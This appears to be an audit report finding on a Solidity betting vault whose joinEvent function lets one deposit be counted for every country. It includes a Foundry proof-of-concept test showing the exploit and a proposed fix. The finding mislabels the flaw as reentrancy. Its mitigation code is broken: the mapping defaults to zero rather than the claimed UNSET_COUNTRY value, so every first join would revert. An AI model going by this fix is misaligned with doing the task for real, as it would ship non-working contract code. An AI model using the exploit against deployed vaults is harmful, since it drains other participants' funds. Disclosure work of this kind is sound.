[H-4] Function:joinEvent has no logic code to tackle reentracy, leading that user can use the same shares to run several times
Description
In the Function:joinEvent
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Impact
Assume tha there are 48 countries,
userA only deposits 5 ethers and get 5 shares,
then userA runs Function:joinEvent several times,
finally userA has all countries' shares,
no matter which countries win, he always get awards.
Proof of Concepts
Run the test function below in test/briVault.t.sol, you can add more briVault.joinEvent(any_number);, and change briVault.setWinner(any_number);,
user1 will always withdraw assets.
function test_reentrancy_joinEvent() public {
uint256 expected_assetToWithdraw;
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(0);
briVault.joinEvent(1);
briVault.joinEvent(2);
briVault.joinEvent(3);
briVault.joinEvent(4);
briVault.joinEvent(5);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(0);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(0);
expected_assetToWithdraw = briVault.balanceOf(user1) * briVault.finalizedVaultAsset() / briVault.totalWinnerShares();
vm.expectEmit(address(briVault));
emit BriVault.Withdraw(user1, expected_assetToWithdraw);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
}
Recommended mitigation
You can check if user has already joined through userCountryId
+ uint16 constant UNSET_COUNTRY = type(uint16).max;
+ mapping(address => uint16) public userCountryId; // default UNSET_COUNTRY
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ // Check if user has already joined
+ uint16 existing = userCountryId[msg.sender];
+ if (existing != UNSET_COUNTRY) revert alreadyJoined();
+
+ // Record the user's country
+ userCountryId[msg.sender] = uint16(countryId);
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Or you can use unusedsharesToUser to prevent user from reusing